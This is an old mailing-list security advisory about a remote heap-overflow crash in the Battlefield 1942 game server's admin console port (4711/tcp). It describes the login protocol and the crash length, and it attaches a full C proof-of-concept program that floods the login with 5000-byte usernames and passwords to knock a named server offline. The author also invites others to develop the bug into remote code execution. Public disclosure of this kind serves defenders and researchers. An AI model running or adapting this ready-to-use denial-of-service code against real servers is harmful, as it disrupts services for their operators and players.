Onderwerp: [VSA0307] Battlefield 1942 remote DoS

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[void.at Security Advisory VSA0307 - mailto:crew at void dot at]

Battlefield 1942 is a game (c) by Electronic Arts[1].

Overview
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By sending a specially crafted packet to the bf1942-server
remote administration port, an attacker can cause the server=20
to crash.

It *could* even be possible to remotely exploit this
vulnerability to gain a remote shell (see "Details"
for details)

Affected Versions
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As I discovered this vulnerability, the game's version was
1.2. Because I don't play this game anymore and I didn't
download that overbloated 50 MB patch I have no idea if
the current version (1.3) is vulnerable (but I'd bet).

Impact
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Medium. The remote server simply crashes.

Details
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Battlefield 1942 can be configured to listen to a tcp-port
(default: 4711) and accept connections to remotely enter
commands or change server variables. A command line utility=20
to do that comes with bf1942 ("RemoteConsole.exe"), and there
exists at least one GUI that uses the same protocol.

The session starts by connecting to the rcon-port. The server
responds with an XOR-key that is used to send the username
and the password (although we don't need that here).=20

The login credentials get submitted in the following way:
(byte) Length of Username
(szstring) Username
(byte) Length of Password
(szstring) Password

Heh, I'm sure you've guessed it, you can overwrite the heap
by sending especially long usernames and/or passwords.

Now the interesting part: it is possible to overwrite control
information on the heap (like that famous malloc/free-bugs).
The problem is, that the chunk that receives the username
is the last chunk in the chain, so there is no following=20
control block that could be overwritten to exploit a
free-vulnerability. This is the reason I am not able to
supply an exploit for this.

The thing is, after that block are pointers to the double-
linked ring-list that holds the free blocks. It *is* possible
to overwrite them, but I didn't find a way to exploit that,
other than to remotely DoS the server. Perhaps someone more
skilled (and with more time) can do that (plz let me know *g*)

Length of username > 4280 crashes the server.

Note that by the time I discovered this, the only server
available was the Windows-version. Today there exists a
(beta-)Linux-version too, perhaps you can have more fun
with it.

Solution
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Disable that remote administration thing until a patch
comes out.

Exploit
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I've attached a demonstration exploit.=20

And YES I really wanted to contact the vendors about that
problem, but I gave up after straying around on the EA.com
website for 15 min. searching for a simple mail address
(not to mention requesting a public key...).=20

Discovered by
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greuff <greuff@void.at>

Credits
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void.at
^sq, G7 and thokky for giving me links to papers

halvar@blackhat.com for simply ignoring my mail regarding the=20
double-linked-list overwrite.

References
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[1] http://www.ea.com

=2D-----------------------------------------------------------------

/************************************************** ***************
* hoagie_bf1942_rcon.c
*
* Remote-DoS for Battlefield 1942-Servers that have their
* rcon-port activated (4711/tcp by default)
*
* Author: greuff@void.at
*
* Tested on BF-Server 1.2 on win32
*
* Credits:
* void.at
* ^sq, G7 and thokky
*
* THIS FILE IS FOR STUDYING PURPOSES ONLY AND A PROOF-OF-CONCEPT.
* THE AUTHOR CAN NOT BE HELD RESPONSIBLE FOR ANY DAMAGE OR
* CRIMINAL ACTIVITIES DONE USING THIS PROGRAM.
*
************************************************** ***************/

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sysexits.h>
#include <string.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <sys/types.h>
#include <errno.h>
#include <netdb.h>

int bf1942_rcon_connect(char *servername, int serverport, char *user, char=
=20
*pass, int *s);

int main(int argc, char **argv)
{
int sock, rval=3D0;
char *user, *pass;
int anz=3D5000/*4280*//*4272*//*4200*/;
if(argc!=3D3)
{
printf("Usage: %s servername serverport\n\n",argv[0]);
return EX_USAGE;
}
user=3Dmalloc(anz+1);
pass=3Dmalloc(anz+1);
memset(user,0,anz+1);
memset(user,'A',anz);
memset(pass,0,anz+1);
memset(pass,'B',anz);
do
{
=20
rval=3Dbf1942_rcon_connect(argv[1],strtol(argv[2],NULL,10),user,pass,&sock);
if(rval=3D=3D-1)
{
printf("Authentication failed. user=3D%s pass=3D%s\n",user,pass);
user[1]++;
close(sock);
}
else if(rval>0)
{
printf("Error: %s\n",strerror(rval));
return -1;
}
} while(0);
return 0;
}

/* open a session to a bf1942-server (Rcon)
*
* WARNING this is a minimalist's version of the real rcon-authentication
* (XOR's skipped)=20
*
* in: servername, serverport, username, pass
* out: on success: 0, serversocket in *sock
* on error : -1 =3D autherror, errno otherwise
*/
int bf1942_rcon_connect(char *servername, int serverport, char *user, char=
=20
*pass, int *s)
{
int sock, i, rval;
struct hostent *hp;
struct sockaddr_in inaddr;
unsigned long l;

char xorkey[10], buf[20];

if((sock=3Dsocket(AF_INET,SOCK_STREAM,0))<0)
return errno;
if((hp=3Dgethostbyname(servername))<0)
return errno;
inaddr.sin_family=3DAF_INET;
inaddr.sin_port=3Dhtons(serverport);
memcpy(&inaddr.sin_addr,*(hp->h_addr_list),sizeof(struct in_addr));
if(connect(sock,(struct sockaddr *)&inaddr,sizeof(struct sockaddr))<0)
return errno;

// connection established. The first thing the server should
// send is the XOR-Key for transmitting the username and the
// password.
if((i=3Dread(sock,xorkey,10))<0)
return errno;

// send the username and the password...
l=3Dstrlen(user)+1;
if(write(sock,&l,sizeof(long))<0)
return errno;
if(write(sock,user,strlen(user)+1)<0)
return errno;=20
l=3Dstrlen(pass)+1;
if(write(sock,&l,sizeof(long))<0)
return errno;
if(write(sock,pass,strlen(pass)+1)<0)
return errno;=20

if(read(sock,buf,20)<0)
return errno;=20
if(buf[0]=3D=3D0x01)
{
rval=3D0; // auth-ok, connection established
*s=3Dsock;
}
else
rval=3D-1; // auth-error=20
return rval;
}


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> Overview
> ========
>
> By sending a specially crafted packet to the bf1942-server
> remote administration port, an attacker can cause the server
> to crash.

After getting some reports, it seems that only servers
running on Windows XP are vulnerable. Can someone
confirm this?

greuff
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